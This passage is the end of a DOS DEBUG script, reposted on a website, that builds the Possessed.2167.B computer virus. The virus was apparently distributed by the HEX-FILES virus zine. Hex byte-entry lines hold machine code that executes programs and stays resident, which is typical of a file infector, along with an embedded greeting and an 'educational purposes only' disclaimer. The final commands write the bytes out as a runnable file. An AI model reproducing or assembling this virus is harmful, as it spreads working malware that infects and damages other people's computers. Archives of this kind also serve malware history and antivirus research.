E 0810 5C 00 89 44 0C C7 44 0A 6C 00 A1 81 00 89 04 07
E 0820 B4 30 CD 21 A2 48 00 3C 03 72 20 8E 1E 81 00 BE
E 0830 00 00 B9 C8 00 80 3C 01 75 0E 80 7C 03 3A 75 08
E 0840 8B D6 83 C2 02 EB 15 90 46 E2 EA 0E 1F BE D6 07
E 0850 BF 79 08 B9 0D 00 FC F3 A4 BA 79 08 06 2E 8E 06
E 0860 83 00 BB 00 10 B4 4A CD 21 07 FA 2E 8C 16 69 00
E 0870 2E 89 26 6B 00 FB B8 00 4B BB 86 08 2E 80 3E 48
E 0880 00 03 72 06 E8 A9 FC EB 03 90 CD 21 FA 2E 8E 16
E 0890 69 00 2E 8B 26 6B 00 FB 0E 1F 73 07 BA 03 00 B4
E 08A0 09 CD 21 B4 4D CD 21 50 8E 06 81 00 B4 49 E8 7F
E 08B0 FC 2E C6 06 49 00 00 BA 77 08 B1 04 D3 EA 83 C2
E 08C0 20 58 B4 31 CD 21 07 0E 1F 2E 80 3E 49 01 00 74
E 08D0 12 B8 00 4C CD 21 50 4F 53 32 31 36 37 42 2E 43
E 08E0 4F 4D 00 BB 77 09 03 1E 62 01 FF E3 1E 07 BE 77
E 08F0 09 BF 00 01 8B 0E 62 01 D1 E9 83 C1 01 FC F3 A5
E 0900 BB 00 01 F8 FF E3 58 0E 1F BE 00 01 33 FF 05 10
E 0910 00 8E C0 B9 06 08 D1 E9 FC F3 A5 B9 77 09 81 E9
E 0920 06 09 8C 06 7B 01 C7 06 79 01 83 06 2E FF 2E 79
E 0930 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0970 00 00 00 00 00 00 00 E9 B9 01 0D 20 20 20 0D 0A
E 0980 4D 61 62 75 68 61 79 21 0D 0A 0A 54 68 69 73 20
E 0990 69 73 20 50 6F 73 73 65 73 73 65 64 2E 32 31 36
E 09A0 37 2E 42 20 76 69 72 75 73 20 63 6F 6D 69 6E 67
E 09B0 20 74 6F 20 79 6F 75 20 66 72 6F 6D 20 74 68 65
E 09C0 20 50 68 69 6C 69 70 70 69 6E 65 73 2E 0D 0A 42
E 09D0 72 6F 75 67 68 74 20 74 6F 20 79 6F 75 20 6C 69
E 09E0 76 65 20 62 79 20 48 45 58 2D 46 49 4C 45 53 20
E 09F0 4E 6F 2E 20 32 0D 0A 0A 48 45 58 2D 46 49 4C 45
E 0A00 53 20 61 6E 64 20 50 75 74 6F 6B 73 61 20 4B 61
E 0A10 77 61 79 61 6E 20 61 72 65 20 6E 6F 74 20 72 65
E 0A20 73 70 6F 6E 73 69 62 6C 65 20 66 6F 72 20 61 63
E 0A30 74 75 61 6C 2C 20 69 6D 70 6C 69 65 64 20 61 6E
E 0A40 64 2F 6F 72 0D 0A 69 6D 61 67 69 6E 61 72 79 20
E 0A50 64 61 6D 61 67 65 20 62 72 6F 75 67 68 74 20 61
E 0A60 62 6F 75 74 20 62 79 20 74 68 65 20 75 73 65 2C
E 0A70 20 6D 69 73 75 73 65 20 6F 72 20 6E 6F 6E 2D 75
E 0A80 73 65 20 6F 66 20 74 68 69 73 20 76 69 72 69 69
E 0A90 2E 20 54 68 65 0D 0A 70 65 72 73 6F 6E 20 77 68
E 0AA0 6F 20 65 78 65 63 75 74 65 73 20 74 68 69 73 20
E 0AB0 76 69 72 69 69 20 62 65 61 72 73 20 66 75 6C 6C
E 0AC0 20 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0AD0 66 6F 72 20 68 69 73 2F 68 65 72 20 61 63 74 69
E 0AE0 6F 6E 73 2E 0D 0A 0A 54 68 69 73 20 76 69 72 69
E 0AF0 69 20 69 73 20 73 74 72 69 63 74 6C 79 20 66 6F
E 0B00 72 20 65 64 75 63 61 74 69 6F 6E 61 6C 20 61 6E
E 0B10 64 2F 6F 72 20 72 65 73 65 61 72 63 68 20 70 75
E 0B20 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A 0A 24
E 0B30 08 20 1A 0E 1F BA 07 01 B4 09 CD 21 B4 4C CD 21
E 0B40 1E 07 BE 77 09 BF 00 01 8B 0E 62 01 D1 E9 83 C1
E 0B50 01 FC F3 A5 BB 00 01 F8 FF E3

RCX
0A5A
W
Q

ÄÄ POS2167B.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

EoF.

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT